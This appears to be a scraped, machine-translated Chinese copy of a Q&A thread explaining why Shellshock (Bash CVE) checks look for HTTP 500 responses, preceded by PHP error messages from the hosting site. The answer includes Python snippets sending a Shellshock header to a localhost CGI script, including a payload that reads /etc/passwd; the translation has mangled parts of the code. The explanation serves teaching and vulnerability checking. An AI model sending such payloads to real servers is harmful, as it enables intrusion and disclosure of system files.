Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/.htaccess/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Security Shellshock—具有CGI扩展的URL响应_Security_Cgi_Shellshock Bash Bug - Fatal编程技术网

Security Shellshock—具有CGI扩展的URL响应

Security Shellshock—具有CGI扩展的URL响应,security,cgi,shellshock-bash-bug,Security,Cgi,Shellshock Bash Bug,为什么我们总是在shellshock可利用请求中检查500响应?为什么不是200、301或其他 conn.request(“GET”,路径,headers=headers) res=conn.getresponse() 如果res.status==500: 打印“可利用的外壳冲击” 这是检查服务器是否易受此漏洞攻击的标准方法 例如,假设我们有一个运行在上的脚本,可以通过URLhttp://localhost/shellshock.cgi,我们发出一个请求,通过一些新的自定义头,如下所示: 导入请

为什么我们总是在shellshock可利用请求中检查500响应?为什么不是200、301或其他

conn.request(“GET”,路径,headers=headers)
res=conn.getresponse()
如果res.status==500:
打印“可利用的外壳冲击”

这是检查服务器是否易受此漏洞攻击的标准方法

例如,假设我们有一个运行在上的脚本,可以通过URL
http://localhost/shellshock.cgi
,我们发出一个请求,通过一些新的自定义头,如下所示:

导入请求
url='1〕http://localhost/shellshock.cgi'
#正在检查服务器是否易受攻击
标题={
“shellshock”:“(){:;};易受攻击的回声;”
}
response=requests.get(url,headers=headers)
如果response.status_code==500:
打印('死机!服务器易受攻击!')
其他:
打印('呸,看起来服务器已经打过补丁')
头本身只是一个伪头,看起来像一个函数定义(主体是一个空语句),后面跟着一个普通的
echo
命令

现在,根据:

GNUBash到4.3处理函数后的尾随字符串 环境变量值中的定义,允许 远程攻击者通过特制的环境执行任意代码

这意味着在上述情况下,易受攻击的服务器应返回500

这样做的原因是传递给服务器的请求头存储为环境变量,在这种情况下,导入函数时,函数后的
echo
命令会在CGI脚本打印其有效头之前意外执行

在Apache错误日志中,您会看到一些关于“格式错误的头”或“坏头”的信息——因为在本例中,
echo
命令(
vulnerable
)的输出是第一个被打印的内容,因此被视为头

发生500次错误的事实让我们知道出了问题。不过,这并不是充分的证据,因为内部服务器错误可能由于其他任何原因而发生。然而,这种方法给出了一个很好的指示

当然,以上只是证明服务器易受攻击的简单方法。一旦我们知道服务器易受攻击,我们可以尝试像这样利用它:

导入请求
url='1〕http://localhost/shellshock.cgi'
#试图利用该漏洞
标题={
'shellshock':'(){:;};echo内容类型:text/html;echo;cat/etc/passwd;'
}
response=requests.get(url,headers=headers)
在这里,我们只需在试图执行任意恶意代码之前添加必要的头,后跟一个空行。这可以防止500内部服务器错误,从而在CGI脚本终止时能够返回恶意代码的输出

如果我们的攻击成功,那么我们应该从服务器获得200响应,并查看
/etc/passwd
文件的内容。因此,您也可以将此视为对shellshock漏洞的检查,而不仅仅是检查500个错误

当然,在上面的例子中,我们只是回显
/etc/passwd
文件的内容,但是我们很容易利用shellshock对服务器和/或其用户造成重大损害。有一篇好文章探讨了各种可能性

推荐阅读: